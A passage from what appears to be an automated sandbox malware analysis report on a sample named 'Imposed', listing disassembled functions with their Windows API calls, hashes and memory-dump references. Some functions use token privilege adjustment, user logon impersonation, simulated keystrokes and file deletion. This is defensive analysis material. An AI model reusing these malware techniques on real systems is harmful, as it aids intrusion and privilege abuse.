                                                                                                                                                                • Instruction ID: ee6326de5965497ed8dd6a010d6b386ab94c2e5a5eb51a85d81bea67cba859cc
                                                                                                                                                                • Opcode Fuzzy Hash: cffc3c950d7f8d38c7779e9182fcad951a356ab80ff56681226c83c3f39a0652
                                                                                                                                                                • Instruction Fuzzy Hash: 28F08C71600204AFCB10EBA8DD4AE9F7BA8EFC5720F000054F509AB2A1EA70EA41CB61
                                                                                                                                                                Function 009C509D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • RtlAllocateHeap.NTDLL(00000008,?,00000000,?,009C3249,00000001,00000364,?,00000000,?,009C2C3D,009C3C83,?,?,009B0215,00000000), ref: 009C50DE
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AllocateHeap
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1279760036-0
                                                                                                                                                                • Opcode ID: f7a928e60dbfd9b93fd3609269f912d21d0b67a8de454eccee1d18bbc9654820
                                                                                                                                                                • Instruction ID: e4be4418836fc4abc3f4bc9c7addd633df396012304e02df5a65a56da4ed73c8
                                                                                                                                                                • Opcode Fuzzy Hash: f7a928e60dbfd9b93fd3609269f912d21d0b67a8de454eccee1d18bbc9654820
                                                                                                                                                                • Instruction Fuzzy Hash: B1F0B431D05F2467EB31EA618C06F9A375CAB867B0B268119EC5CE6191CA60F88146E3
                                                                                                                                                                Function 009C3C40 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • RtlAllocateHeap.NTDLL(00000000,00000000,?,?,009B0215,00000000,?,00998E5F,00000004,?,009D4C6B,?,?,009910E8,00A2DBF4), ref: 009C3C72
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AllocateHeap
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1279760036-0
                                                                                                                                                                • Opcode ID: 7c75d915ce9ade2590276a6a8a34021766bdd4591dc648523899f52afa53faff
                                                                                                                                                                • Instruction ID: dd0f2fdfc872ed4e411fca20e934ae374775ec82b407337cd5cc76b374da25aa
                                                                                                                                                                • Opcode Fuzzy Hash: 7c75d915ce9ade2590276a6a8a34021766bdd4591dc648523899f52afa53faff
                                                                                                                                                                • Instruction Fuzzy Hash: 79E0653298171556E6212AB69D05F9E366C9B427B0F15C128AC95B6191DB60CE0186E3
                                                                                                                                                                Function 00992C4E Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID:
                                                                                                                                                                • Opcode ID: fecfdff2d683b9b735e9a04bd1ecb2003e25c67a7aaee02275a3d72863b1c8ab
                                                                                                                                                                • Instruction ID: 003537384f791b02dfbc3315fc874e1a5be72f288580873d113e59ec87a150b0
                                                                                                                                                                • Opcode Fuzzy Hash: fecfdff2d683b9b735e9a04bd1ecb2003e25c67a7aaee02275a3d72863b1c8ab
                                                                                                                                                                • Instruction Fuzzy Hash: 2AF03971141702DFCB349F68D59486ABBE8BF14326320CA7EE1D682610C7359840DF11
                                                                                                                                                                Function 00992DAA Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: __fread_nolock
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2638373210-0
                                                                                                                                                                • Opcode ID: 6f20ebd9b2a2bf586509a237b68e363968dd7dbffc5f75a367978f3cc06a5eeb
                                                                                                                                                                • Instruction ID: d53edde93955769635cf29c4dbcbeefb37ed2c36d77d1ad9504dba276e59d5a9
                                                                                                                                                                • Opcode Fuzzy Hash: 6f20ebd9b2a2bf586509a237b68e363968dd7dbffc5f75a367978f3cc06a5eeb
                                                                                                                                                                • Instruction Fuzzy Hash: 74F0D47140020DBBDF05CF94CA41A9A7B69FB54318F208445F9159A251C336EA61ABA1
                                                                                                                                                                Function 00993B82 Relevance: 1.5, APIs: 1, Instructions: 24windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • Shell_NotifyIconW.SHELL32(00000002,?), ref: 00993BDE
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: IconNotifyShell_
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1144537725-0
                                                                                                                                                                • Opcode ID: 3f5a5bae9520c9999881a926f61d81903c0e628366d15f0250395d6216cd26de
                                                                                                                                                                • Instruction ID: 5e0e6caedd61191393c3bc67f268fb926ee2455e413cb3fde7c688eb882e5e5a
                                                                                                                                                                • Opcode Fuzzy Hash: 3f5a5bae9520c9999881a926f61d81903c0e628366d15f0250395d6216cd26de
                                                                                                                                                                • Instruction Fuzzy Hash: B9F037709143589FDB63DF64DC497E67BBCA70170CF0400A5E688A6282D7B45786CF55
                                                                                                                                                                Function 009932E0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 009932FF
                                                                                                                                                                  • Part of subcall function 0099B0DB: _wcslen.LIBCMT ref: 0099B0EE
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: LongNamePath_wcslen
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 541455249-0
                                                                                                                                                                • Opcode ID: c5063880d1d2716843e2f76857472e789b4cad7fc214037ce4004b9f9c283bad
                                                                                                                                                                • Instruction ID: 71fddec84c938ad3e95807f3e45dfde843729880877a9bec815da2cc796bf809
                                                                                                                                                                • Opcode Fuzzy Hash: c5063880d1d2716843e2f76857472e789b4cad7fc214037ce4004b9f9c283bad
                                                                                                                                                                • Instruction Fuzzy Hash: BDE0867650022457CB2092589C05FEA779DDBC8790F044071BC05D7248E9649D818650
                                                                                                                                                                Function 009D07BB Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CreateFileW.KERNEL32(00000000,00000000,?,009D0B25,?,?,00000000,?,009D0B25,00000000,0000000C), ref: 009D07D8
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateFile
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 823142352-0
                                                                                                                                                                • Opcode ID: b66757ac5ac2db951a775cd571f5fe59f7a2087dfa42ff665d345e4a7d57c124
                                                                                                                                                                • Instruction ID: c5c72a1ffd791024f6b369ca1f91b45a284b5ed392e6142daa335ff7d069fc67
                                                                                                                                                                • Opcode Fuzzy Hash: b66757ac5ac2db951a775cd571f5fe59f7a2087dfa42ff665d345e4a7d57c124
                                                                                                                                                                • Instruction Fuzzy Hash: 98D06C3200010DBBDF128F84DD06EDA3BAAFB48714F014110BE1856020C732E832AB90
                                                                                                                                                                Function 009FE970 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetFileAttributesW.KERNEL32(?,009FD6EB), ref: 009FE971
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AttributesFile
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3188754299-0
                                                                                                                                                                • Opcode ID: 435e103c5393a5fe9ae003334c5a84904d1cbc4d7ee7b38a4b00b34a7d0b40b6
                                                                                                                                                                • Instruction ID: ce385c27a78eeb3fb3ca016c780c18dcf11d921c9da564c36a839d8a712df19d
                                                                                                                                                                • Opcode Fuzzy Hash: 435e103c5393a5fe9ae003334c5a84904d1cbc4d7ee7b38a4b00b34a7d0b40b6
                                                                                                                                                                • Instruction Fuzzy Hash: 74B0923400060845AD688A3C5A081BE630968523E67EC1B88E5B9854F293BA89ABE760
                                                                                                                                                                Function 00A0651E Relevance: 1.3, APIs: 1, Instructions: 31COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009FDB0B: FindFirstFileW.KERNEL32(?,?), ref: 009FDB82
                                                                                                                                                                  • Part of subcall function 009FDB0B: DeleteFileW.KERNEL32(?,?,?,?), ref: 009FDBD2
                                                                                                                                                                  • Part of subcall function 009FDB0B: FindNextFileW.KERNELBASE(00000000,00000010), ref: 009FDBE3
                                                                                                                                                                  • Part of subcall function 009FDB0B: FindClose.KERNEL32(00000000), ref: 009FDBFA
                                                                                                                                                                • GetLastError.KERNEL32 ref: 00A06540
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FileFind$CloseDeleteErrorFirstLastNext
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2191629493-0
                                                                                                                                                                • Opcode ID: f733715e5f1d3434c0755ce644db6e13c15cb8918e5bad8d06d6f8bbbbb37645
                                                                                                                                                                • Instruction ID: 050d3c8e0f7c686ec57a05f619b1fea6220171e3e2f53d6da7e43fd661a4e7e9
                                                                                                                                                                • Opcode Fuzzy Hash: f733715e5f1d3434c0755ce644db6e13c15cb8918e5bad8d06d6f8bbbbb37645
                                                                                                                                                                • Instruction Fuzzy Hash: EFF08C322002048FCB14EF99D944B6EB7E5AF88760F048419F94A9B392CB70BC02CB94

                                                                                                                                                                Non-executed Functions

                                                                                                                                                                Function 00A29B7E Relevance: 72.4, APIs: 39, Strings: 2, Instructions: 625windowkeyboardCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009923E1: GetWindowLongW.USER32(00000000,000000EB), ref: 009923F2
                                                                                                                                                                • DefDlgProcW.USER32(?,0000004E,?,?,?,?), ref: 00A29C22
                                                                                                                                                                • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00A29C63
                                                                                                                                                                • GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00A29CA7
                                                                                                                                                                • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00A29CD1
                                                                                                                                                                • SendMessageW.USER32 ref: 00A29CFA
                                                                                                                                                                • GetKeyState.USER32(00000011), ref: 00A29D93
                                                                                                                                                                • GetKeyState.USER32(00000009), ref: 00A29DA0
                                                                                                                                                                • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00A29DB6
                                                                                                                                                                • GetKeyState.USER32(00000010), ref: 00A29DC0
                                                                                                                                                                • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00A29DF1
                                                                                                                                                                • SendMessageW.USER32 ref: 00A29E18
                                                                                                                                                                • SendMessageW.USER32(?,00001030,?,Function_0009849D), ref: 00A29F20
                                                                                                                                                                • ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?), ref: 00A29F36
                                                                                                                                                                • ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00A29F49
                                                                                                                                                                • SetCapture.USER32(?), ref: 00A29F52
                                                                                                                                                                • ClientToScreen.USER32(?,?), ref: 00A29FB7
                                                                                                                                                                • ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00A29FC4
                                                                                                                                                                • InvalidateRect.USER32(?,00000000,00000001,?), ref: 00A29FDE
                                                                                                                                                                • ReleaseCapture.USER32 ref: 00A29FE9
                                                                                                                                                                • GetCursorPos.USER32(?), ref: 00A2A021
                                                                                                                                                                • ScreenToClient.USER32(?,?), ref: 00A2A02E
                                                                                                                                                                • SendMessageW.USER32(?,00001012,00000000,?), ref: 00A2A088
                                                                                                                                                                • SendMessageW.USER32 ref: 00A2A0B6
                                                                                                                                                                • SendMessageW.USER32(?,00001111,00000000,?), ref: 00A2A0F3
                                                                                                                                                                • SendMessageW.USER32 ref: 00A2A122
                                                                                                                                                                • SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00A2A143
                                                                                                                                                                • SendMessageW.USER32(?,0000110B,00000009,?), ref: 00A2A152
                                                                                                                                                                • GetCursorPos.USER32(?), ref: 00A2A170
                                                                                                                                                                • ScreenToClient.USER32(?,?), ref: 00A2A17D
                                                                                                                                                                • GetParent.USER32(?), ref: 00A2A19B
                                                                                                                                                                • SendMessageW.USER32(?,00001012,00000000,?), ref: 00A2A202
                                                                                                                                                                • SendMessageW.USER32 ref: 00A2A233
                                                                                                                                                                • ClientToScreen.USER32(?,?), ref: 00A2A28C
                                                                                                                                                                • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00A2A2BC
                                                                                                                                                                • SendMessageW.USER32(?,00001111,00000000,?), ref: 00A2A2E6
                                                                                                                                                                • SendMessageW.USER32 ref: 00A2A309
                                                                                                                                                                • ClientToScreen.USER32(?,?), ref: 00A2A356
                                                                                                                                                                • TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00A2A38A
                                                                                                                                                                  • Part of subcall function 00992184: GetWindowLongW.USER32(?,000000EB), ref: 00992192
                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00A2A40D
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
                                                                                                                                                                • String ID: @GUI_DRAGID$F
                                                                                                                                                                • API String ID: 3429851547-4164748364
                                                                                                                                                                • Opcode ID: 3daf9a7b411b62e0a135c274ab24e05163c5328a0622d1b0723b049827ac6cdc
                                                                                                                                                                • Instruction ID: c79be1795dd3c165abf6949eeaf380f4495a54114d967637e7500ef0084a85a3
                                                                                                                                                                • Opcode Fuzzy Hash: 3daf9a7b411b62e0a135c274ab24e05163c5328a0622d1b0723b049827ac6cdc
                                                                                                                                                                • Instruction Fuzzy Hash: 1942AD31104251AFDB25CF6CE844BAABBF5FF88714F140629F695872A1C771EC91CB92
                                                                                                                                                                Function 009AFC88 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 009AFC92
                                                                                                                                                                • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 009EFAE3
                                                                                                                                                                • IsIconic.USER32(00000000), ref: 009EFAEC
                                                                                                                                                                • ShowWindow.USER32(00000000,00000009), ref: 009EFAF9
                                                                                                                                                                • SetForegroundWindow.USER32(00000000), ref: 009EFB03
                                                                                                                                                                • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 009EFB19
                                                                                                                                                                • GetCurrentThreadId.KERNEL32 ref: 009EFB20
                                                                                                                                                                • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 009EFB2C
                                                                                                                                                                • AttachThreadInput.USER32(?,00000000,00000001), ref: 009EFB3D
                                                                                                                                                                • AttachThreadInput.USER32(?,00000000,00000001), ref: 009EFB45
                                                                                                                                                                • AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 009EFB4D
                                                                                                                                                                • SetForegroundWindow.USER32(00000000), ref: 009EFB50
                                                                                                                                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 009EFB65
                                                                                                                                                                • keybd_event.USER32(00000012,00000000), ref: 009EFB70
                                                                                                                                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 009EFB7A
                                                                                                                                                                • keybd_event.USER32(00000012,00000000), ref: 009EFB7F
                                                                                                                                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 009EFB88
                                                                                                                                                                • keybd_event.USER32(00000012,00000000), ref: 009EFB8D
                                                                                                                                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 009EFB97
                                                                                                                                                                • keybd_event.USER32(00000012,00000000), ref: 009EFB9C
                                                                                                                                                                • SetForegroundWindow.USER32(00000000), ref: 009EFB9F
                                                                                                                                                                • AttachThreadInput.USER32(?,000000FF,00000000), ref: 009EFBC6
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
                                                                                                                                                                • String ID: Shell_TrayWnd
                                                                                                                                                                • API String ID: 4125248594-2988720461
                                                                                                                                                                • Opcode ID: 15ee15c104a0b883931fe18933b0fc61cceeb9e44ce1de62fef1054a1028d0e4
                                                                                                                                                                • Instruction ID: bee6329b93fee6c12bab13332aedd04c19200a7594844956fa834eaed98866e8
                                                                                                                                                                • Opcode Fuzzy Hash: 15ee15c104a0b883931fe18933b0fc61cceeb9e44ce1de62fef1054a1028d0e4
                                                                                                                                                                • Instruction Fuzzy Hash: DF31B471A402187BEB31ABEA9C49F7F7E6CEB44B50F140476FA04F61D1D6B45D02AAA0
                                                                                                                                                                Function 009F1A7B Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 241COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009F1F3D: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 009F1F87
                                                                                                                                                                  • Part of subcall function 009F1F3D: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 009F1FB4
                                                                                                                                                                  • Part of subcall function 009F1F3D: GetLastError.KERNEL32 ref: 009F1FC4
                                                                                                                                                                • LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 009F1B00
                                                                                                                                                                • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 009F1B22
                                                                                                                                                                • CloseHandle.KERNEL32(?), ref: 009F1B33
                                                                                                                                                                • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 009F1B4B
                                                                                                                                                                • GetProcessWindowStation.USER32 ref: 009F1B64
                                                                                                                                                                • SetProcessWindowStation.USER32(00000000), ref: 009F1B6E
                                                                                                                                                                • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 009F1B8A
                                                                                                                                                                  • Part of subcall function 009F1939: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,009F1A76), ref: 009F194E
                                                                                                                                                                  • Part of subcall function 009F1939: CloseHandle.KERNEL32(?,?,009F1A76), ref: 009F1963
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
